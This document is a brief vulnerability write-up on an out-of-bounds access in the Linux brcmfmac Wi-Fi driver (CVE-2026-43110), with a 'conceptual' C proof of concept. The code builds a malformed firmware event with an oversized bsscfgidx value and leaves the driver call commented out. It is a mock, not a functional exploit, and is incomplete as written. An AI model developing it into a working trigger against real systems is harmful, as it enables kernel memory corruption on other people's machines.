Linux内核brcmfmac驱动越界访问漏洞(CVE-2026-43110)

/* * Conceptual PoC for CVE-2026-43110 * This code simulates sending a malformed firmware event to trigger * the missing bsscfgidx validation in brcmf_fweh_handle_if_event. * Note: Actual exploitation requires interaction with the vulnerable driver. */ #include <stdio.h> #include <string.h> #include <stdlib.h> // Mock structure representing the firmware event header struct brcmf_event_msg { __u16 version; __u16 flags; __u32 event_type; __u32 status; __u32 reason; __u8 ifidx; // Validated index __u8 bsscfgidx; // The vulnerable field (missing validation) __u8 addr[ETH_ALEN]; char ifname[IFNAMSIZ]; }; void trigger_vulnerability() { struct brcmf_event_msg malicious_event; memset(&malicious_event, 0, sizeof(malicious_event)); // Setup normal fields malicious_event.version = 1; malicious_event.ifidx = 0; // Valid interface index // Set bsscfgidx to a value likely outside the bounds of drvr->iflist[] // Assuming drvr->iflist has a small size (e.g., < 255) malicious_event.bsscfgidx = 0xFF; printf("Sending malicious event with bsscfgidx: %d\n", malicious_event.bsscfgidx); // In a real scenario, this would be passed to the driver via ioctl or firmware interaction // brcmf_fweh_handle_if_event(drvr, &malicious_event, ...); // This would cause drvr->iflist[0xFF] access -> Out of Bounds } int main() { trigger_vulnerability(); return 0; }